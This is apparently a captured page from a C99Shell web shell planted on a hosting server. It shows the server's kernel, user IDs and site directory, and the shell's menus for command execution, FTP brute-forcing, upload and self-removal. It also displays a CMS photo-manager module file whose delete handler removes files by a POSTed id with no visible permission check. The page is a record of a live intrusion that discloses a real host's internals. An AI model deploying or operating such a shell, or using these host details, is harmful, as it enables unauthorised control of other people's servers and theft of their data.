!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules/photomanager/   drwxr-xr-x
Free 106.19 GB of 200.55 GB (52.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (1.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class Photomanager
{
    var 
$UserMode   false;
    var 
$AdminMode  false;
    var 
$SearchMode false;
    var 
$PanelMode  false;
    var 
$AdminAsynchMode true;
    var 
$Table;
    var 
$Directory;
    var 
$ClassName 'Photomanager';
    function 
Photomanager()
    {
        
$this->Directory dirname(__FILE__);
        
$this->Table = new AMTable2('AMCMS_photomanager');
        
$this->Table->Module($this->ClassName);
        
$this->Table->AddIndexField("photo_id");
        
$this->Table->AddPositionField("photo_position");
    }
    function 
AdminAsynch()
    {
        global 
$alang$ALANG;
        if (isset(
$_POST['oper']) && ($_POST['oper'] == 'delete-main'))
        {
            
$row $this->Table->GetRowById($_POST['id']);
            @
unlink($row['photo_filename']."_main.jpg");
            
$row $this->Table->Delete($_POST['id']);
            
$res["status"] = "ok";
            echo 
json_encode($res);
            die;
        }        
        if (isset(
$_POST['oper']) && ($_POST['oper'] == 'delete-photo'))
        {
            if (
is_numeric($_POST['id']))
            {
                
$row $this->Table->GetRowById($_POST['id']);
                @
unlink($row['photo_filename']."_small.jpg");
                @
unlink($row['photo_filename']."_big.jpg");
                
$row $this->Table->Delete($_POST['id']);
            }
            
$res["status"] = "ok";
            echo 
json_encode($res);
            die;
        }        
        
$this->Table->Run($_POST);
    }
}

$Modules ['Photomanager'] = new Photomanager();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0102 ]--